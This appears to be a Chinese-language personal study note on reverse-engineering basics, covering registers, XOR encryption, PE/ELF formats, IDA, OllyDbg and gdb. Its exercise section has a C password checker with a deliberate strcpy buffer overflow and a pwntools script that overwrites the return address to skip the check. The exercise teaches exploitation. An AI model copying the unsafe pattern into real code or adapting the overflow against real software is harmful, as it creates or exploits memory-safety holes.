逆向基础
date
Aug 5, 2021 12:17 PM
Related to 日程数据 1 (blog)
tags
Website
slug
re
summary
ida od



改变EIP的值

标志寄存器
jnz
汇编指令

在内存中只有长度和地址
没有数据类型
lea 装载地址


加密用法
5^6
3
还原
3^5
6
5^6^6
5
上面的6可以是密钥 即加密解密


伪代码

汇编

文件结构
pe(windows)和elf(linux)
都是coff格式(unix)的变种
bash里file一下即可看到格式类型




od只支持windows的32位程序的调试
逆向的知识面太广
使用搜索引擎能事半功倍

工具的使用
IDA使用



pwn
#include<stdio.h>
#include<string.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[8];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
void con()
{
printf ("COngartulation!i\n");
}
void main()
{
int valid_flag=0;
char password[1024];
while(1)
{
printf("please input password:\n");
scanf("%s",password);
valid_flag=verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
con();
break;
}
}
}
gdb
from pwn import *
context(log_level="debug") #显示日志
#0x08049211 为main函数的起始值
ret=0x080491e6 #verify_password的返回地址
payload=b"a"*(24)+p32(ret)+p32(0x08049211) #这个偏移长度就是返回地址减去局部变量地址
p=process('./pass')
print (p.recv())
pause()
p.send(payload)
p.interactive()
命令格式 x/nfu <addr> 参数解释 n,表示要显示的内存单元的个数 f,表示显示方式, 可取如下值: x 按十六进制格式显示变量 d 按十进制格式显示变量 u 按十进制格式显示无符号整型 o 按八进制格式显示变量 t 按二进制格式显示变量 a 按十六进制格式显示变量 i 指令地址格式 c 按字符格式显示变量 f 按浮点数格式显示变量 u,表示一个地址单元的长度: b 表示单字节 h 表示双字节 w 表示四字节 g 表示八字节

日常翻车